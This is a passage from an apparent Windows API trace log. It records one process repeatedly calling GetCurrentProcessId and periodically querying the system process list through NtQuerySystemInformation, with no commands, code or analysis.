() returned 0xbf4 [0256.501] GetCurrentProcessId () returned 0xbf4 [0256.501] GetCurrentProcessId () returned 0xbf4 [0256.501] GetCurrentProcessId () returned 0xbf4 [0257.019] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1cf10) returned 0x0 [0257.022] GetCurrentProcessId () returned 0xbf4 [0257.022] GetCurrentProcessId () returned 0xbf4 [0257.022] GetCurrentProcessId () returned 0xbf4 [0257.022] GetCurrentProcessId () returned 0xbf4 [0257.022] GetCurrentProcessId () returned 0xbf4 [0257.022] GetCurrentProcessId () returned 0xbf4 [0257.022] GetCurrentProcessId () returned 0xbf4 [0257.022] GetCurrentProcessId () returned 0xbf4 [0257.022] GetCurrentProcessId () returned 0xbf4 [0257.022] GetCurrentProcessId () returned 0xbf4 [0257.022] GetCurrentProcessId () returned 0xbf4 [0257.022] GetCurrentProcessId () returned 0xbf4 [0257.022] GetCurrentProcessId () returned 0xbf4 [0257.022] GetCurrentProcessId () returned 0xbf4 [0257.022] GetCurrentProcessId () returned 0xbf4 [0257.022] GetCurrentProcessId () returned 0xbf4 [0257.022] GetCurrentProcessId () returned 0xbf4 [0257.022] GetCurrentProcessId () returned 0xbf4 [0257.022] GetCurrentProcessId () returned 0xbf4 [0257.022] GetCurrentProcessId () returned 0xbf4 [0257.022] GetCurrentProcessId () returned 0xbf4 [0257.022] GetCurrentProcessId () returned 0xbf4 [0257.022] GetCurrentProcessId () returned 0xbf4 [0257.022] GetCurrentProcessId () returned 0xbf4 [0257.022] GetCurrentProcessId () returned 0xbf4 [0257.022] GetCurrentProcessId () returned 0xbf4 [0257.022] GetCurrentProcessId () returned 0xbf4 [0257.022] GetCurrentProcessId () returned 0xbf4 [0257.022] GetCurrentProcessId () returned 0xbf4 [0257.022] GetCurrentProcessId () returned 0xbf4 [0257.022] GetCurrentProcessId () returned 0xbf4 [0257.022] GetCurrentProcessId () returned 0xbf4 [0257.023] GetCurrentProcessId () returned 0xbf4 [0257.023] GetCurrentProcessId () returned 0xbf4 [0257.023] GetCurrentProcessId () returned 0xbf4 [0257.023] GetCurrentProcessId () returned 0xbf4 [0257.023] GetCurrentProcessId () returned 0xbf4 [0257.023] GetCurrentProcessId () returned 0xbf4 [0257.023] GetCurrentProcessId () returned 0xbf4 [0257.023] GetCurrentProcessId () returned 0xbf4 [0257.023] GetCurrentProcessId () returned 0xbf4 [0257.023] GetCurrentProcessId () returned 0xbf4 [0257.023] GetCurrentProcessId () returned 0xbf4 [0257.023] GetCurrentProcessId () returned 0xbf4 [0257.023] GetCurrentProcessId () returned 0xbf4 [0257.023] GetCurrentProcessId () returned 0xbf4 [0257.023] GetCurrentProcessId () returned 0xbf4 [0257.023] GetCurrentProcessId () returned 0xbf4 [0257.023] GetCurrentProcessId () returned 0xbf4 [0257.023] GetCurrentProcessId () returned 0xbf4 [0257.023] GetCurrentProcessId () returned 0xbf4 [0257.023] GetCurrentProcessId () returned 0xbf4 [0257.023] GetCurrentProcessId () returned 0xbf4 [0257.023] GetCurrentProcessId () returned 0xbf4 [0257.023] GetCurrentProcessId () returned 0xbf4 [0257.023] GetCurrentProcessId () returned 0xbf4 [0257.023] GetCurrentProcessId () returned 0xbf4 [0257.023] GetCurrentProcessId () returned 0xbf4 [0257.023] GetCurrentProcessId () returned 0xbf4 [0257.023] GetCurrentProcessId () returned 0xbf4 [0257.023] GetCurrentProcessId () returned 0xbf4 [0257.023] GetCurrentProcessId () returned 0xbf4 [0257.023] GetCurrentProcessId () returned 0xbf4 [0257.023] GetCurrentProcessId () returned 0xbf4 [0257.023] GetCurrentProcessId () returned 0xbf4 [0257.023] GetCurrentProcessId () returned 0xbf4 [0257.023] GetCurrentProcessId () returned 0xbf4 [0257.023] GetCurrentProcessId () returned 0xbf4 [0257.023] GetCurrentProcessId () returned 0xbf4 [0257.024] GetCurrentProcessId () returned 0xbf4 [0257.024] GetCurrentProcessId () returned 0xbf4 [0257.024] GetCurrentProcessId () returned 0xbf4 [0257.024] GetCurrentProcessId () returned 0xbf4 [0257.024] GetCurrentProcessId () returned 0xbf4 [0257.024] GetCurrentProcessId () returned 0xbf4 [0257.024] GetCurrentProcessId () returned 0xbf4 [0257.024] GetCurrentProcessId () returned 0xbf4 [0257.024] GetCurrentProcessId () returned 0xbf4 [0257.024] GetCurrentProcessId () returned 0xbf4 [0257.024] GetCurrentProcessId () returned 0xbf4 [0257.024] GetCurrentProcessId () returned 0xbf4 [0257.024] GetCurrentProcessId () returned 0xbf4 [0257.024] GetCurrentProcessId () returned 0xbf4 [0257.024] GetCurrentProcessId () returned 0xbf4 [0257.024] GetCurrentProcessId () returned 0xbf4 [0257.024] GetCurrentProcessId () returned 0xbf4 [0257.024] GetCurrentProcessId () returned 0xbf4 [0257.024] GetCurrentProcessId () returned 0xbf4 [0257.024] GetCurrentProcessId () returned 0xbf4 [0257.024] GetCurrentProcessId () returned 0xbf4 [0257.024] GetCurrentProcessId () returned 0xbf4 [0257.024] GetCurrentProcessId () returned 0xbf4 [0257.024] GetCurrentProcessId () returned 0xbf4 [0257.024] GetCurrentProcessId () returned 0xbf4 [0257.024] GetCurrentProcessId () returned 0xbf4 [0257.024] GetCurrentProcessId () returned 0xbf4 [0257.024] GetCurrentProcessId () returned 0xbf4 [0257.024] GetCurrentProcessId () returned 0xbf4 [0257.024] GetCurrentProcessId () returned 0xbf4 [0257.024] GetCurrentProcessId () returned 0xbf4 [0257.024] GetCurrentProcessId () returned 0xbf4 [0257.024] GetCurrentProcessId () returned 0xbf4 [0257.024] GetCurrentProcessId () returned 0xbf4 [0257.025] GetCurrentProcessId () returned 0xbf4 [0257.025] GetCurrentProcessId () returned 0xbf4 [0257.025] GetCurrentProcessId () returned 0xbf4 [0257.025] GetCurrentProcessId () returned 0xbf4 [0257.025] GetCurrentProcessId () returned 0xbf4 [0257.533] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1cec0) returned 0x0 [0257.537] GetCurrentProcessId () returned 0xbf4 [0257.537] GetCurrentProcessId () returned 0xbf4 [0257.537] GetCurrentProcessId () returned 0xbf4 [0257.537] GetCurrentProcessId () returned 0xbf4 [0257.537] GetCurrentProcessId () returned 0xbf4 [0257.537] GetCurrentProcessId () returned 0xbf4 [0257.537] GetCurrentProcessId () returned 0xbf4 [0257.537] GetCurrentProcessId () returned 0xbf4 [0257.537] GetCurrentProcessId () returned 0xbf4 [0257.537] GetCurrentProcessId () returned 0xbf4 [0257.537] GetCurrentProcessId () returned 0xbf4 [0257.537] GetCurrentProcessId () returned 0xbf4 [0257.537] GetCurrentProcessId () returned 0xbf4 [0257.537] GetCurrentProcessId () returned 0xbf4 [0257.537] GetCurrentProcessId () returned 0xbf4 [0257.537] GetCurrentProcessId () returned 0xbf4 [0257.537] GetCurrentProcessId () returned 0xbf4 [0257.537] GetCurrentProcessId () returned 0xbf4 [0257.537] GetCurrentProcessId () returned 0xbf4 [0257.537] GetCurrentProcessId () returned 0xbf4 [0257.537] GetCurrentProcessId () returned 0xbf4 [0257.537] GetCurrentProcessId () returned 0xbf4 [0257.537] GetCurrentProcessId () returned 0xbf4 [0257.537] GetCurrentProcessId () returned 0xbf4 [0257.538] GetCurrentProcessId () returned 0xbf4 [0257.538] GetCurrentProcessId () returned 0xbf4 [0257.538] GetCurrentProcessId () returned 0xbf4 [0257.538] GetCurrentProcessId () returned 0xbf4 [0257.538] GetCurrentProcessId () returned 0xbf4 [0257.538] GetCurrentProcessId () returned 0xbf4 [0257.538] GetCurrentProcessId () returned 0xbf4 [0257.538] GetCurrentProcessId () returned 0xbf4 [0257.538] GetCurrentProcessId () returned 0xbf4 [0257.538] GetCurrentProcessId () returned 0xbf4 [0257.538] GetCurrentProcessId () returned 0xbf4 [0257.538] GetCurrentProcessId () returned 0xbf4 [0257.538] GetCurrentProcessId () returned 0xbf4 [0257.538] GetCurrentProcessId () returned 0xbf4 [0257.538] GetCurrentProcessId () returned 0xbf4 [0257.538] GetCurrentProcessId () returned 0xbf4 [0257.538] GetCurrentProcessId () returned 0xbf4 [0257.538] GetCurrentProcessId () returned 0xbf4 [0257.538] GetCurrentProcessId () returned 0xbf4 [0257.538] GetCurrentProcessId () returned 0xbf4 [0257.538] GetCurrentProcessId () returned 0xbf4 [0257.538] GetCurrentProcessId () returned 0xbf4 [0257.538] GetCurrentProcessId () returned 0xbf4 [0257.538] GetCurrentProcessId () returned 0xbf4 [0257.538] GetCurrentProcessId () returned 0xbf4 [0257.538] GetCurrentProcessId () returned 0xbf4 [0257.538] GetCurrentProcessId () returned 0xbf4 [0257.539] GetCurrentProcessId () returned 0xbf4 [0257.539] GetCurrentProcessId () returned 0xbf4 [0257.539] GetCurrentProcessId () returned 0xbf4 [0257.539] GetCurrentProcessId () returned 0xbf4 [0257.539] GetCurrentProcessId () returned 0xbf4 [0257.539] GetCurrentProcessId () returned 0xbf4 [0257.539] GetCurrentProcessId () returned 0xbf4 [0257.539] GetCurrentProcessId () returned 0xbf4 [0257.539] GetCurrentProcessId () returned 0xbf4 [0257.539] GetCurrentProcessId () returned 0xbf4 [0257.539] GetCurrentProcessId () returned 0xbf4 [0257.539] GetCurrentProcessId () returned 0xbf4 [0257.539] GetCurrentProcessId () returned 0xbf4 [0257.539] GetCurrentProcessId () returned 0xbf4 [0257.539] GetCurrentProcessId () returned 0xbf4 [0257.539] GetCurrentProcessId () returned 0xbf4 [0257.539] GetCurrentProcessId () returned 0xbf4 [0257.539] GetCurrentProcessId () returned 0xbf4 [0257.539] GetCurrentProcessId () returned 0xbf4 [0257.539] GetCurrentProcessId () returned 0xbf4 [0257.539] GetCurrentProcessId () returned 0xbf4 [0257.539] GetCurrentProcessId () returned 0xbf4 [0257.539] GetCurrentProcessId () returned 0xbf4 [0257.539] GetCurrentProcessId () returned 0xbf4 [0257.539] GetCurrentProcessId () returned 0xbf4 [0257.539] GetCurrentProcessId () returned 0xbf4 [0257.539] GetCurrentProcessId () returned 0xbf4 [0257.539] GetCurrentProcessId () returned 0xbf4 [0257.540] GetCurrentProcessId () returned 0xbf4 [0257.540] GetCurrentProcessId () returned 0xbf4 [0257.540] GetCurrentProcessId () returned 0xbf4 [0257.540] GetCurrentProcessId () returned 0xbf4 [0257.540] GetCurrentProcessId () returned 0xbf4 [0257.540] GetCurrentProcessId () returned 0xbf4 [0257.540] GetCurrentProcessId () returned 0xbf4 [0257.540] GetCurrentProcessId () returned 0xbf4 [0257.540] GetCurrentProcessId () returned 0xbf4 [0257.540] GetCurrentProcessId () returned 0xbf4 [0257.540] GetCurrentProcessId () returned 0xbf4 [0257.540] GetCurrentProcessId () returned 0xbf4 [0257.540] GetCurrentProcessId () returned 0xbf4 [0257.540] GetCurrentProcessId () returned 0xbf4 [0257.540] GetCurrentProcessId () returned 0xbf4 [0257.540] GetCurrentProcessId () returned 0xbf4 [0257.540] GetCurrentProcessId () returned 0xbf4 [0257.540] GetCurrentProcessId () returned 0xbf4 [0257.540] GetCurrentProcessId () returned 0xbf4 [0257.540] GetCurrentProcessId () returned 0xbf4 [0257.540] GetCurrentProcessId () returned 0xbf4 [0257.540] GetCurrentProcessId () returned 0xbf4 [0257.540] GetCurrentProcessId () returned 0xbf4 [0257.540] GetCurrentProcessId () returned 0xbf4 [0257.540] GetCurrentProcessId () returned 0xbf4 [0257.540] GetCurrentProcessId () returned 0xbf4 [0257.540] GetCurrentProcessId () returned 0xbf4 [0257.541] GetCurrentProcessId () returned 0xbf4 [0257.541] GetCurrentProcessId () returned 0xbf4 [0258.049] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1cec0) returned 0x0 [0258.053] GetCurrentProcessId () returned 0xbf4 [0258.053] GetCurrentProcessId () returned 0xbf4 [0258.053] GetCurrentProcessId () returned 0xbf4 [0258.053] GetCurrentProcessId () returned 0xbf4 [0258.053] GetCurrentProcessId () returned 0xbf4 [0258.053] GetCurrentProcessId () returned 0xbf4 [0258.053] GetCurrentProcessId () returned 0xbf4 [0258.053] GetCurrentProcessId () returned 0xbf4 [0258.053] GetCurrentProcessId () returned 0xbf4 [0258.053] GetCurrentProcessId () returned 0xbf4 [0258.053] GetCurrentProcessId () returned 0xbf4 [0258.053] GetCurrentProcessId () returned 0xbf4 [0258.053] GetCurrentProcessId () returned 0xbf4 [0258.053] GetCurrentProcessId () returned 0xbf4 [0258.053] GetCurrentProcessId () returned 0xbf4 [0258.053] GetCurrentProcessId () returned 0xbf4 [0258.053] GetCurrentProcessId () returned 0xbf4 [0258.053] GetCurrentProcessId () returned 0xbf4 [0258.053] GetCurrentProcessId () returned 0xbf4 [0258.053] GetCurrentProcessId () returned 0xbf4 [0258.053] GetCurrentProcessId () returned 0xbf4 [0258.054] GetCurrentProcessId () returned 0xbf4 [0258.054] GetCurrentProcessId () returned 0xbf4 [0258.054] GetCurrentProcessId () returned 0xbf4 [0258.054] GetCurrentProcessId () returned 0xbf4 [0258.054] GetCurrentProcessId () returned 0xbf4 [0258.054] GetCurrentProcessId () returned 0xbf4 [0258.054] GetCurrentProcessId () returned 0xbf4 [0258.054] GetCurrentProcessId () returned 0xbf4 [0258.054] GetCurrentProcessId () returned 0xbf4 [0258.054] GetCurrentProcessId () returned 0xbf4 [0258.054] GetCurrentProcessId () returned 0xbf4 [0258.054] GetCurrentProcessId () returned 0xbf4 [0258.054] GetCurrentProcessId () returned 0xbf4 [0258.054] GetCurrentProcessId () returned 0xbf4 [0258.054] GetCurrentProcessId () returned 0xbf4 [0258.054] GetCurrentProcessId () returned 0xbf4 [0258.054] GetCurrentProcessId () returned 0xbf4 [0258.054] GetCurrentProcessId () returned 0xbf4 [0258.054] GetCurrentProcessId () returned 0xbf4 [0258.054] GetCurrentProcessId () returned 0xbf4 [0258.054] GetCurrentProcessId () returned 0xbf4 [0258.054] GetCurrentProcessId () returned 0xbf4 [0258.054] GetCurrentProcessId () returned 0xbf4 [0258.054] GetCurrentProcessId () returned 0xbf4 [0258.054] GetCurrentProcessId () returned 0xbf4 [0258.054] GetCurrentProcessId () returned 0xbf4 [0258.054] GetCurrentProcessId () returned 0xbf4 [0258.054] GetCurrentProcessId () returned 0xbf4 [0258.054] GetCurrentProcessId () returned 0xbf4 [0258.054] GetCurrentProcessId () returned 0xbf4 [0258.055] GetCurrentProcessId () returned 0xbf4 [0258.055] GetCurrentProcessId () returned 0xbf4 [0258.055] GetCurrentProcessId () returned 0xbf4 [0258.055] GetCurrentProcessId () returned 0xbf4 [0258.055] GetCurrentProcessId () returned 0xbf4 [0258.055] GetCurrentProcessId () returned 0xbf4 [0258.055] GetCurrentProcessId () returned 0xbf4 [0258.055] GetCurrentProcessId () returned 0xbf4 [0258.055] GetCurrentProcessId () returned 0xbf4 [0258.055] GetCurrentProcessId () returned 0xbf4 [0258.055] GetCurrentProcessId () returned 0xbf4 [0258.055] GetCurrentProcessId () returned 0xbf4 [0258.055] GetCurrentProcessId () returned 0xbf4 [0258.055] GetCurrentProcessId () returned 0xbf4 [0258.055] GetCurrentProcessId () returned 0xbf4 [0258.055] GetCurrentProcessId () returned 0xbf4 [0258.055] GetCurrentProcessId () returned 0xbf4 [0258.055] GetCurrentProcessId () returned 0xbf4 [0258.055] GetCurrentProcessId () returned 0xbf4 [0258.055] GetCurrentProcessId () returned 0xbf4 [0258.055] GetCurrentProcessId () returned 0xbf4 [0258.055] GetCurrentProcessId () returned 0xbf4 [0258.055] GetCurrentProcessId () returned 0xbf4 [0258.055] GetCurrentProcessId () returned 0xbf4 [0258.055] GetCurrentProcessId () returned 0xbf4 [0258.055] GetCurrentProcessId () returned 0xbf4 [0258.055] GetCurrentProcessId () returned 0xbf4 [0258.055] GetCurrentProcessId () returned 0xbf4 [0258.055] GetCurrentProcessId () returned 0xbf4 [0258.055] GetCurrentProcessId () returned 0xbf4 [0258.055] GetCurrentProcessId () returned 0xbf4 [0258.055] GetCurrentProcessId () returned 0xbf4 [0258.055] GetCurrentProcessId () returned 0xbf4 [0258.056] GetCurrentProcessId () returned 0xbf4 [0258.056] GetCurrentProcessId () returned 0xbf4 [0258.056] GetCurrentProcessId () returned 0xbf4 [0258.056] GetCurrentProcessId () returned 0xbf4 [0258.056] GetCurrentProcessId () returned 0xbf4 [0258.056] GetCurrentProcessId () returned 0xbf4 [0258.056] GetCurrentProcessId () returned 0xbf4 [0258.056] GetCurrentProcessId () returned 0xbf4 [0258.056] GetCurrentProcessId () returned 0xbf4 [0258.056] GetCurrentProcessId () returned 0xbf4 [0258.056] GetCurrentProcessId () returned 0xbf4 [0258.056] GetCurrentProcessId () returned 0xbf4 [0258.056] GetCurrentProcessId () returned 0xbf4 [0258.056] GetCurrentProcessId () returned 0xbf4 [0258.056] GetCurrentProcessId () returned 0xbf4 [0258.056] GetCurrentProcessId () returned 0xbf4 [0258.056] GetCurrentProcessId () returned 0xbf4 [0258.056] GetCurrentProcessId () returned 0xbf4 [0258.056] GetCurrentProcessId () returned 0xbf4 [0258.056] GetCurrentProcessId () returned 0xbf4 [0258.056] GetCurrentProcessId () returned 0xbf4 [0258.056] GetCurrentProcessId () returned 0xbf4 [0258.056] GetCurrentProcessId () returned 0xbf4 [0258.056] GetCurrentProcessId () returned 0xbf4 [0258.652] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1c9a0) returned 0x0 [0259.228] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1c9f0) returned 0x0 [0259.778] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1ca90) returned 0x0 [0260.303] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1ca90) returned 0x0 [0260.887] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1ca90) returned 0x0 [0261.400] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1ca90) returned 0x0 [0261.920] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1cae0) returned 0x0 [0262.650] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1cae0) returned 0x0 [0262.678] GetCurrentProcessId () returned 0xbf4 [0262.678] GetCurrentProcessId () returned 0xbf4 [0262.678] GetCurrentProcessId () returned 0xbf4 [0262.678] GetCurrentProcessId () returned 0xbf4 [0262.678] GetCurrentProcessId () returned 0xbf4 [0262.678] GetCurrentProcessId () returned 0xbf4 [0262.678] GetCurrentProcessId () returned 0xbf4 [0262.678] GetCurrentProcessId () returned 0xbf4 [0262.678] GetCurrentProcessId () returned 0xbf4 [0262.678] GetCurrentProcessId () returned 0xbf4 [0262.678] GetCurrentProcessId () returned 0xbf4 [0262.678] GetCurrentProcessId () returned 0xbf4 [0262.678] GetCurrentProcessId () returned 0xbf4 [0262.678] GetCurrentProcessId () returned 0xbf4 [0262.678] GetCurrentProcessId () returned 0xbf4 [0262.678] GetCurrentProcessId () returned 0xbf4 [0262.678] GetCurrentProcessId () returned 0xbf4 [0262.678] GetCurrentProcessId () returned 0xbf4 [0262.678] GetCurrentProcessId () returned 0xbf4 [0262.678] GetCurrentProcessId () returned 0xbf4 [0262.678] GetCurrentProcessId () returned 0xbf4 [0262.679] GetCurrentProcessId () returned 0xbf4 [0262.679] GetCurrentProcessId () returned 0xbf4 [0262.679] GetCurrentProcessId () returned 0xbf4 [0262.679] GetCurrentProcessId () returned 0xbf4 [0262.679] GetCurrentProcessId () returned 0xbf4 [0262.679] GetCurrentProcessId () returned 0xbf4 [0262.679] GetCurrentProcessId () returned 0xbf4 [0262.679] GetCurrentProcessId () returned 0xbf4 [0262.679] GetCurrentProcessId () returned 0xbf4 [0262.679] GetCurrentProcessId () returned 0xbf4 [0262.679] GetCurrentProcessId () returned 0xbf4 [0262.679] GetCurrentProcessId () returned 0xbf4 [0262.679] GetCurrentProcessId () returned 0xbf4 [0262.679] GetCurrentProcessId () returned 0xbf4 [0262.679] GetCurrentProcessId () returned 0xbf4 [0262.679] GetCurrentProcessId () returned 0xbf4 [0262.679] GetCurrentProcessId () returned 0xbf4 [0262.679] GetCurrentProcessId () returned 0xbf4 [0262.679] GetCurrentProcessId () returned 0xbf4 [0262.679] GetCurrentProcessId () returned 0xbf4 [0262.679] GetCurrentProcessId () returned 0xbf4 [0262.679] GetCurrentProcessId () returned 0xbf4 [0262.679] GetCurrentProcessId () returned 0xbf4 [0262.679] GetCurrentProcessId () returned 0xbf4 [0262.679] GetCurrentProcessId () returned 0xbf4 [0262.679] GetCurrentProcessId () returned 0xbf4 [0262.679] GetCurrentProcessId () returned 0xbf4 [0262.679] GetCurrentProcessId () returned 0xbf4 [0262.679] GetCurrentProcessId () returned 0xbf4 [0262.679] GetCurrentProcessId () returned 0xbf4 [0262.679] GetCurrentProcessId () returned 0xbf4 [0262.679] GetCurrentProcessId () returned 0xbf4 [0262.679] GetCurrentProcessId () returned 0xbf4 [0262.679] GetCurrentProcessId () returned 0xbf4 [0262.679] GetCurrentProcessId () returned 0xbf4 [0262.680] GetCurrentProcessId () returned 0xbf4 [0262.680] GetCurrentProcessId () returned 0xbf4 [0262.680] GetCurrentProcessId () returned 0xbf4 [0262.680] GetCurrentProcessId () returned 0xbf4 [0262.680] GetCurrentProcessId () returned 0xbf4 [0262.680] GetCurrentProcessId () returned 0xbf4 [0262.680] GetCurrentProcessId () returned 0xbf4 [0262.680] GetCurrentProcessId () returned 0xbf4 [0262.680] GetCurrentProcessId () returned 0xbf4 [0262.680] GetCurrentProcessId () returned 0xbf4 [0262.680] GetCurrentProcessId () returned 0xbf4 [0262.680] GetCurrentProcessId () returned 0xbf4 [0262.680] GetCurrentProcessId () returned 0xbf4 [0262.680] GetCurrentProcessId () returned 0xbf4 [0262.680] GetCurrentProcessId () returned 0xbf4 [0262.680] GetCurrentProcessId () returned 0xbf4 [0262.680] GetCurrentProcessId () returned 0xbf4 [0262.680] GetCurrentProcessId () returned 0xbf4 [0262.680] GetCurrentProcessId () returned 0xbf4 [0262.680] GetCurrentProcessId () returned 0xbf4 [0262.680] GetCurrentProcessId () returned 0xbf4 [0262.680] GetCurrentProcessId () returned 0xbf4 [0262.680] GetCurrentProcessId () returned 0xbf4 [0262.680] GetCurrentProcessId () returned 0xbf4 [0262.680] GetCurrentProcessId () returned 0xbf4 [0262.680] GetCurrentProcessId () returned 0xbf4 [0262.680] GetCurrentProcessId () returned 0xbf4 [0262.680] GetCurrentProcessId () returned 0xbf4 [0262.680] GetCurrentProcessId () returned 0xbf4 [0262.680] GetCurrentProcessId () returned 0xbf4 [0262.680] GetCurrentProcessId () returned 0xbf4 [0262.680] GetCurrentProcessId () returned 0xbf4 [0262.680] GetCurrentProcessId () returned 0xbf4 [0262.680] GetCurrentProcessId () returned 0xbf4 [0262.681] GetCurrentProcessId () returned 0xbf4 [0262.681] GetCurrentProcessId () returned 0xbf4 [0262.681] GetCurrentProcessId () returned 0xbf4 [0262.681] GetCurrentProcessId () returned 0xbf4 [0262.681] GetCurrentProcessId () returned 0xbf4 [0262.681] GetCurrentProcessId () returned 0xbf4 [0262.681] GetCurrentProcessId () returned 0xbf4 [0262.681] GetCurrentProcessId () returned 0xbf4 [0262.681] GetCurrentProcessId () returned 0xbf4 [0262.681] GetCurrentProcessId () returned 0xbf4 [0262.681] GetCurrentProcessId () returned 0xbf4 [0262.681] GetCurrentProcessId () returned 0xbf4 [0262.681] GetCurrentProcessId () returned 0xbf4 [0262.681] GetCurrentProcessId () returned 0xbf4 [0262.681] GetCurrentProcessId () returned 0xbf4 [0262.681] GetCurrentProcessId () returned 0xbf4 [0262.681] GetCurrentProcessId () returned 0xbf4 [0263.296] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1cb30) returned 0x0 [0263.305] GetCurrentProcessId () returned 0xbf4 [0263.305] GetCurrentProcessId () returned 0xbf4 [0263.305] GetCurrentProcessId () returned 0xbf4 [0263.305] GetCurrentProcessId () returned 0xbf4 [0263.306] GetCurrentProcessId () returned 0xbf4 [0263.306] GetCurrentProcessId () returned 0xbf4 [0263.306] GetCurrentProcessId () returned 0xbf4 [0263.306] GetCurrentProcessId () returned 0xbf4 [0263.306] GetCurrentProcessId () returned 0xbf4 [0263.306] GetCurrentProcessId () returned 0xbf4 [0263.306] GetCurrentProcessId () returned 0xbf4 [0263.306] GetCurrentProcessId () returned 0xbf4 [0263.306] GetCurrentProcessId () returned 0xbf4 [0263.306] GetCurrentProcessId () returned 0xbf4 [0263.306] GetCurrentProcessId () returned 0xbf4 [0263.306] GetCurrentProcessId () returned 0xbf4 [0263.306] GetCurrentProcessId () returned 0xbf4 [0263.306] GetCurrentProcessId () returned 0xbf4 [0263.306] GetCurrentProcessId () returned 0xbf4 [0263.306] GetCurrentProcessId () returned 0xbf4 [0263.306] GetCurrentProcessId () returned 0xbf4 [0263.306] GetCurrentProcessId () returned 0xbf4 [0263.306] GetCurrentProcessId () returned 0xbf4 [0263.306] GetCurrentProcessId () returned 0xbf4 [0263.306] GetCurrentProcessId () returned 0xbf4 [0263.306] GetCurrentProcessId () returned 0xbf4 [0263.306] GetCurrentProcessId () returned 0xbf4 [0263.306] GetCurrentProcessId () returned 0xbf4 [0263.306] GetCurrentProcessId () returned 0xbf4 [0263.306] GetCurrentProcessId () returned 0xbf4 [0263.306] GetCurrentProcessId () returned 0xbf4 [0263.306] GetCurrentProcessId () returned 0xbf4 [0263.306] GetCurrentProcessId () returned 0xbf4 [0263.307] GetCurrentProcessId () returned 0xbf4 [0263.307] GetCurrentProcessId () returned 0xbf4 [0263.307] GetCurrentProcessId () returned 0xbf4 [0263.307] GetCurrentProcessId () returned 0xbf4 [0263.307] GetCurrentProcessId () returned 0xbf4 [0263.307] GetCurrentProcessId () returned 0xbf4 [0263.307] GetCurrentProcessId () returned 0xbf4 [0263.307] GetCurrentProcessId () returned 0xbf4 [0263.307] GetCurrentProcessId () returned 0xbf4 [0263.307] GetCurrentProcessId () returned 0xbf4 [0263.307] GetCurrentProcessId () returned 0xbf4 [0263.307] GetCurrentProcessId () returned 0xbf4 [0263.307] GetCurrentProcessId () returned 0xbf4 [0263.307] GetCurrentProcessId () returned 0xbf4 [0263.307] GetCurrentProcessId () returned 0xbf4 [0263.307] GetCurrentProcessId () returned 0xbf4 [0263.307] GetCurrentProcessId () returned 0xbf4 [0263.307] GetCurrentProcessId () returned 0xbf4 [0263.307] GetCurrentProcessId () returned 0xbf4 [0263.307] GetCurrentProcessId () returned 0xbf4 [0263.307] GetCurrentProcessId () returned 0xbf4 [0263.307] GetCurrentProcessId () returned 0xbf4 [0263.307] GetCurrentProcessId () returned 0xbf4 [0263.307] GetCurrentProcessId () returned 0xbf4 [0263.307] GetCurrentProcessId () returned 0xbf4 [0263.307] GetCurrentProcessId () returned 0xbf4 [0263.307] GetCurrentProcessId () returned 0xbf4 [0263.307] GetCurrentProcessId () returned 0xbf4 [0263.308] GetCurrentProcessId () returned 0xbf4 [0263.308] GetCurrentProcessId () returned 0xbf4 [0263.308] GetCurrentProcessId () returned 0xbf4 [0263.308] GetCurrentProcessId () returned 0xbf4 [0263.308] GetCurrentProcessId () returned 0xbf4 [0263.308] GetCurrentProcessId () returned 0xbf4 [0263.308] GetCurrentProcessId () returned 0xbf4 [0263.308] GetCurrentProcessId () returned 0xbf4 [0263.308] GetCurrentProcessId () returned 0xbf4 [0263.308] GetCurrentProcessId () returned 0xbf4 [0263.308] GetCurrentProcessId () returned 0xbf4 [0263.308] GetCurrentProcessId () returned 0xbf4 [0263.308] GetCurrentProcessId () returned 0xbf4 [0263.308] GetCurrentProcessId () returned 0xbf4 [0263.308] GetCurrentProcessId () returned 0xbf4 [0263.308] GetCurrentProcessId () returned 0xbf4 [0263.308] GetCurrentProcessId () returned 0xbf4 [0263.308] GetCurrentProcessId () returned 0xbf4 [0263.308] GetCurrentProcessId () returned 0xbf4 [0263.308] GetCurrentProcessId () returned 0xbf4 [0263.308] GetCurrentProcessId () returned 0xbf4 [0263.308] GetCurrentProcessId () returned 0xbf4 [0263.309] GetCurrentProcessId () returned 0xbf4 [0263.309] GetCurrentProcessId () returned 0xbf4 [0263.309] GetCurrentProcessId () returned 0xbf4 [0263.309] GetCurrentProcessId () returned 0xbf4 [0263.309] 